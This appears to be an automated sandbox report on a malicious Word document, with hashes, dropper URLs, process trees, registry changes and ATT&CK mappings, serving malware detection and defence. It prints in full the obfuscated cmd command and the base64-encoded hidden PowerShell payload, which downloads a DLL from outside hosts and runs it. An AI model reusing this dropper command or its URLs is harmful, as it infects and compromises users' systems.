781966f8dc6ce26c54405d759538b391b59c531e2b03d137328ea6bc9e9b7052

General

Target

inf-20210113-B43678.doc
Size

158KB
MD5

50c334182f04b01fd3b55f0324ae39c9
SHA1

a06480bad89cd333d7c48330e89c8dbd758c6f6b
SHA256

79695d1cf1b881a4ba7f850f5d71796605abc71286de3a809002a423032dee59
SHA512

bcd2721737de9d83d540f0f8119a56fcc273bc550d221a0748d7378b8c6d8d5241bb064ca93c6e2880da61f5aac5786f5b7be86f1d177acafdef5fc5c5bb9baf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://baselinealameda.com/j/uoB/

exe.dropper

http://abdindash.xyz/b/Yonhx/

exe.dropper

https://cavallarigutters.com/samsung-chromebook-etswp/Wdeiub/

exe.dropper

https://craku.tech/h/iXbreOs/

exe.dropper

https://nicoblogroms.com/c/V9w0b5/

exe.dropper

https://www.taradhuay.com/d/oT5uG/

exe.dropper

https://altcomconstruction.com/wp-includes/or7/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 748 1672 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 304 powershell.exe
8 1676 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1604 rundll32.exe
1604 rundll32.exe
1604 rundll32.exe
1604 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	1672	cmd.exe

flow	pid	process
6	304	powershell.exe
8	1676	rundll32.exe

pid	process
1604	rundll32.exe
1604	rundll32.exe
1604	rundll32.exe
1604	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

rundll32.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Mkihpg\logjm.mrw	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1888 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

304 powershell.exe
304 powershell.exe
1676 rundll32.exe
1676 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 304 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1888 WINWORD.EXE
1888 WINWORD.EXE

pid	process
1888	WINWORD.EXE

pid	process
304	powershell.exe
304	powershell.exe
1676	rundll32.exe
1676	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	304	powershell.exe

pid	process
1888	WINWORD.EXE
1888	WINWORD.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exeWINWORD.EXE

description	pid	process	target process
PID 748 wrote to memory of 1376	748	cmd.exe	msg.exe
PID 748 wrote to memory of 1376	748	cmd.exe	msg.exe
PID 748 wrote to memory of 1376	748	cmd.exe	msg.exe
PID 748 wrote to memory of 304	748	cmd.exe	powershell.exe
PID 748 wrote to memory of 304	748	cmd.exe	powershell.exe
PID 748 wrote to memory of 304	748	cmd.exe	powershell.exe
PID 304 wrote to memory of 1108	304	powershell.exe	rundll32.exe
PID 304 wrote to memory of 1108	304	powershell.exe	rundll32.exe
PID 304 wrote to memory of 1108	304	powershell.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1604	1108	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1676	1604	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1148	1888	WINWORD.EXE	splwow64.exe
PID 1888 wrote to memory of 1148	1888	WINWORD.EXE	splwow64.exe
PID 1888 wrote to memory of 1148	1888	WINWORD.EXE	splwow64.exe
PID 1888 wrote to memory of 1148	1888	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\inf-20210113-B43678.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1148

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:304

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mkihpg\logjm.mrw",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
34cd79e5abeb1e56d56379d6386575dc

SHA1
4dcc395dc33c567f6f97e106f7c83717baa540ec

SHA256
5600f34f0a18a9014a37e2d90babd07411341abf8a2699e0412baa88d6f45d47

SHA512
a3c235ff62cd5da3c5fe95055fd3f99e4afae864bbc6f17fb875650d20dcdf5ec6fc6e22921640701febd36861ed3e13bc7eeb07e0c97f3d23cd6236e9757f84

Download Submit
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
34cd79e5abeb1e56d56379d6386575dc

SHA1
4dcc395dc33c567f6f97e106f7c83717baa540ec

SHA256
5600f34f0a18a9014a37e2d90babd07411341abf8a2699e0412baa88d6f45d47

SHA512
a3c235ff62cd5da3c5fe95055fd3f99e4afae864bbc6f17fb875650d20dcdf5ec6fc6e22921640701febd36861ed3e13bc7eeb07e0c97f3d23cd6236e9757f84

Download Submit
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
34cd79e5abeb1e56d56379d6386575dc

SHA1
4dcc395dc33c567f6f97e106f7c83717baa540ec

SHA256
5600f34f0a18a9014a37e2d90babd07411341abf8a2699e0412baa88d6f45d47

SHA512
a3c235ff62cd5da3c5fe95055fd3f99e4afae864bbc6f17fb875650d20dcdf5ec6fc6e22921640701febd36861ed3e13bc7eeb07e0c97f3d23cd6236e9757f84

Download Submit
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
34cd79e5abeb1e56d56379d6386575dc

SHA1
4dcc395dc33c567f6f97e106f7c83717baa540ec

SHA256
5600f34f0a18a9014a37e2d90babd07411341abf8a2699e0412baa88d6f45d47

SHA512
